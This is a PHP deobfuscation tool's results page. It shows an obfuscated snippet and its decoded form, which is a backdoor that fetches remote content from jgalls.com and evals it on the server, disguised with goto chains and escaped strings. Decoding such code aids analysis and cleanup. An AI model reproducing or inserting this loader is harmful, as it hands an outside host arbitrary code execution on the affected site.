Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto o31Og; EeaxM: mGuP4: goto t9Z88; t9Z88: eval("\77\x3e" . file_get_contents(fi..

Decoded Output download

<?php 
 goto o31Og; EeaxM: mGuP4: goto t9Z88; t9Z88: eval("?>" . file_get_contents(file_get_contents("http://jgalls.com/1.aspx") . "php2/nbnl.txt")); goto Shks1; Shks1: goto CgTgb; goto Stzga; XMd0v: goto NEOKa; goto LLEV1; LLEV1: tXCbM: goto vBLSG; vBLSG: if (!(getIP() != '')) { goto lvmtyjj; } goto jXgFA; jb3NE: CgTgb: goto Txl_M; Stzga: NEOKa: goto LGXN9; o31Og: goto tXCbM; goto jb3NE; jXgFA: goto mGuP4; goto EeaxM; Txl_M: lvmtyjj: goto XMd0v; LGXN9: function getIP() { goto lvmtyjv; lvmtyjv: if (getenv("HTTP_CLIENT_IP")) { goto lvmtyjy; } if (getenv("HTTP_X_FORWARDED_FOR")) { goto lvmtyjd; } if (getenv("HTTP_X_FORWARDED")) { goto lvmtyjx; } if (getenv("HTTP_FORWARDED_FOR")) { goto lvmtyjl; } goto lvmtyjc; lvmtyjf: $laxyxj = getenv("HTTP_CLIENT_IP"); goto lvmtyjt; lvmtyjd: $laxyxj = getenv("HTTP_X_FORWARDED_FOR"); goto lvmtyjm; lvmtyjz: lvmtyjl: $laxyxj = getenv("HTTP_FORWARDED_FOR"); goto lvmtyjt; lvmtyju: goto lvmtyjw; lvmtyjc: if (getenv("HTTP_FORWARDED")) { goto lvmtyju; } $laxyxj = $_SERVER["REMOTE_ADDR"]; goto lvmtyjt; lvmtyjy: goto lvmtyjf; lvmtyjm: goto lvmtyjt; lvmtyjx: $laxyxj = getenv("HTTP_X_FORWARDED"); goto lvmtyjt; goto lvmtyjz; lvmtyjw: $laxyxj = getenv("HTTP_FORWARDED"); lvmtyjt: return $laxyxj; goto lvmtyjk; lvmtyjk: } ?>

Did this file decode correctly?

Original Code

<?php
 goto o31Og; EeaxM: mGuP4: goto t9Z88; t9Z88: eval("\77\x3e" . file_get_contents(file_get_contents("\150\164\x74\160\x3a\x2f\57\x6a\147\x61\x6c\x6c\163\x2e\143\157\155\x2f\61\56\141\163\160\x78") . "\160\x68\x70\x32\x2f\x6e\142\x6e\x6c\x2e\x74\170\164")); goto Shks1; Shks1: goto CgTgb; goto Stzga; XMd0v: goto NEOKa; goto LLEV1; LLEV1: tXCbM: goto vBLSG; vBLSG: if (!(getIP() != '')) { goto lvmtyjj; } goto jXgFA; jb3NE: CgTgb: goto Txl_M; Stzga: NEOKa: goto LGXN9; o31Og: goto tXCbM; goto jb3NE; jXgFA: goto mGuP4; goto EeaxM; Txl_M: lvmtyjj: goto XMd0v; LGXN9: function getIP() { goto lvmtyjv; lvmtyjv: if (getenv("\x48\x54\124\120\x5f\x43\x4c\111\x45\116\x54\x5f\x49\x50")) { goto lvmtyjy; } if (getenv("\110\124\x54\120\137\x58\x5f\106\x4f\122\127\101\122\x44\105\104\x5f\106\117\122")) { goto lvmtyjd; } if (getenv("\x48\x54\x54\x50\137\130\x5f\106\117\x52\127\101\122\104\x45\x44")) { goto lvmtyjx; } if (getenv("\x48\124\124\120\137\106\x4f\122\x57\101\122\x44\105\104\137\106\117\122")) { goto lvmtyjl; } goto lvmtyjc; lvmtyjf: $laxyxj = getenv("\x48\x54\x54\x50\137\x43\x4c\111\105\116\124\x5f\x49\120"); goto lvmtyjt; lvmtyjd: $laxyxj = getenv("\x48\124\x54\x50\x5f\130\137\106\117\x52\x57\x41\122\x44\x45\x44\x5f\106\x4f\122"); goto lvmtyjm; lvmtyjz: lvmtyjl: $laxyxj = getenv("\110\124\x54\x50\x5f\x46\117\x52\x57\x41\122\104\x45\x44\x5f\x46\117\122"); goto lvmtyjt; lvmtyju: goto lvmtyjw; lvmtyjc: if (getenv("\110\124\x54\120\137\x46\x4f\x52\x57\x41\122\104\x45\104")) { goto lvmtyju; } $laxyxj = $_SERVER["\122\105\x4d\117\124\x45\x5f\101\x44\104\x52"]; goto lvmtyjt; lvmtyjy: goto lvmtyjf; lvmtyjm: goto lvmtyjt; lvmtyjx: $laxyxj = getenv("\110\124\124\x50\x5f\130\137\106\x4f\122\127\101\x52\x44\x45\x44"); goto lvmtyjt; goto lvmtyjz; lvmtyjw: $laxyxj = getenv("\x48\124\124\120\137\x46\x4f\122\127\x41\122\104\x45\x44"); lvmtyjt: return $laxyxj; goto lvmtyjk; lvmtyjk: }

Function Calls

None

Variables

None

Stats

MD5 30c3a4fc24ae74d87192310f86d5530e
Eval Count 0
Decode Time 81 ms